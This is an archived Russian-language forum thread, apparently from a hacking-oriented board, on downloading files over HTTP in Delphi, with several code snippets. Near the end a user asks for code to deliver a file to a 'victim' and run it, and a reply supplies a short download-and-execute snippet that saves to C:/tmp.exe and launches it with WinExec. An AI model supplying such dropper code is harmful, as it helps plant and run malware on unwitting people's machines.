PDA

Просмотр полной версии : Вопрос по Delphi скачать файл по HTTP


lolec69
11.03.2010, 15:45
Как скачать файл по HTTP

GhostOnline
11.03.2010, 21:01
Что то типа:

var
stream : TMemoryStream;
http : TIdHTTP;
begin
http := TIdHTTP.Create;
stream := TMemoryStream.Create;
try
http.get('somesite.com/somefile', stream);
stream.SaveToFile('MyFile');
finally
FreeAndNil(http);
FreeAndNil(stream);
end;
end;

ЗЫ По моему самый часто задаваемый вопрос

RedFern.89
11.03.2010, 21:12
var
HTTP : TidHTTP;
Strm : TMemoryStream;
begin
Http := TIdHTTP.Create(nil);
strm := TMemoryStream.Create;

HTTP.Request.CustomHeaders.Add('Range: bytes=0-12954');
HTTP.Get('http://vk.com/u21312312/audio/ff75373434gf4.mp3', strm);

strm.SaveToFile
strm.free;
http.free;


так ты закачаешь по диапозону... можешь юзать для докачки или для закачки файла по частям... главное юзай АСИнхронную передачу))
end;

M_script_
11.03.2010, 22:03
главное юзай АСИнхронную передачу))

Асинхронная передача через TIdHTTP :confused:
это как?

zeppe1in
11.03.2010, 23:08
uses urlmon;

URLDownloadToFile (nil,'https://forum.antichat.ru/thread185851.html','C:/yo.html', 0, nil);

RedFern.89
12.03.2010, 01:47
Запихай в поток:) а то при загрузке будет интерфейс виснуть:) особенно при загрузке жирных файлов:)

buket
18.04.2010, 20:30
а как быть с русскими именами файлов, название кракозябрами получается

RedFern.89
18.04.2010, 20:31
используй URLEncode)))

Jingo Bo
18.04.2010, 21:16
Почему все используют TMemoryStream?))
Не проще так

var
stream : TFileStream;
http : TIdHTTP;
begin
http := TIdHTTP.Create;
stream := TFileStream.Create('C:/sffsf.dat', fmCreate);
try
http.get('somesite.com/somefile', stream);
finally
FreeAndNil(http);
FreeAndNil(stream);
end;


Не будет тратиться время на сохранение из TMemoryStream на диск.

M_script_
18.04.2010, 21:35
Не будет тратиться время на сохранение из TMemoryStream на диск.
И много времени сэкономишь?

GhostOnline
18.04.2010, 21:40
Не будет тратиться время на сохранение из TMemoryStream на диск.
Одинаково. Все равно из сети в память, из памяти на диск перегонется.
Эти классы идентичны, оба наследники TStream

Sunstrider
18.04.2010, 21:46
А можно реализовать чтобы файл скачался,потом запустился

Jingo Bo
18.04.2010, 22:05
Одинаково.
Нет
Все равно из сети в память, из памяти на диск перегонется.
Не совсем)
А можно реализовать чтобы файл скачался,потом запустился
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT;

Sunstrider
18.04.2010, 22:15
Нет

Не совсем)

function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT;
можно полностью код ,прогрузки к жертве и запуска

Jingo Bo
19.04.2010, 00:04
var
stream : TFileStream;
http : TIdHTTP;
begin
http := TIdHTTP.Create;
stream := TFileStream.Create('C:/tmp.exe', fmCreate);
try
http.get('somesite.com/somefile', stream);
WinExec(PAnsiChar('C:/tmp.exe'), SW_SHOW);
finally
FreeAndNil(http);
FreeAndNil(stream);
end;